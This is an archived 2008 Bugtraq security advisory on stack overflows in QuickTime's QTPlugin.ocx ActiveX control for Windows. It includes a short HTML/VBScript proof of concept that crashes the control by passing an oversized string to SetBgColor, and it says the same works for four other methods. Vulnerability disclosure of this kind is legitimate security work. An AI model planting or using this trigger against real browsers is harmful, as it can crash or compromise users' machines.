bugtraq - QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

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Message-ID: <20080212233957.13759.qmail@securityfocus.com>
Date: 12 Feb 2008 23:39:57 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========

1) Introduction

===========

A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/

======

2) Bug

======

Stack Overflow/Denial of service occurs when supplying a long string to theses functions:

-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix

=====

3)Proof of concept

=====

Proof of concept example [works with the others functions supplyed in section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>

=====

5)Credits

=====

laurent gaffié

laurent.gaffie{remove_this}[at]gmail[dot]com